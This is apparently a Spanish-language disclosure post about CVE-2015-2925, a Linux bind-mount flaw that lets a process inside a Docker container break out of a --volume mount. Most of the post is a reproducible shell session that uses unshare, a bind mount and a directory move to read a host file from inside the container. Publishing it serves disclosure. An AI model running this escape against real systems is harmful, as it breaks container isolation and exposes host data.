
Docker + CVE-2015-2925 = escapando de --volume
Vulnerabilidad reciente en Linux conocida desde hace aproximadamente medio año (varios meses de forma pública) hizo posible escapar de los bind mounts. En particular, en el caso de Docker es posible escapar desde el interior del directorio montado mediante la opción --volume al sistema de archivos del host correspondiente.
El Equipo de Seguridad de Docker ya está al tanto del problema y permitió publicar esto para atraer la atención pública.
Gracias a Jann Horn por señalar esto, básicamente lo reproduje.
Cualquiera de estas opciones será suficiente:
# uname -r
3.18.9-aufs
# zgrep USER_NS /proc/config.gz
CONFIG_USER_NS=y
# docker -v
Docker version 1.6.1, build 97cd073
# docker pull debian:jessie
# mkdir /test && chmod 777 /test
# echo escaped > /etc/hostdata && chmod 644 /etc/hostdata
# docker run -i -t --rm -v /test:/test -u nobody debian:jessie
nobody@fc8925af0f19:/$ unshare -m -U -r /bin/bash
root@fc8925af0f19:/# cd /test
root@fc8925af0f19:/test# mkdir A A/B C D
root@fc8925af0f19:/test# mount --bind A D
root@fc8925af0f19:/test# cd D/B
root@fc8925af0f19:/test/D/B# mv /test/A/B /test/C
root@fc8925af0f19:/test/D/B# cat ../../../etc/hostdata
escaped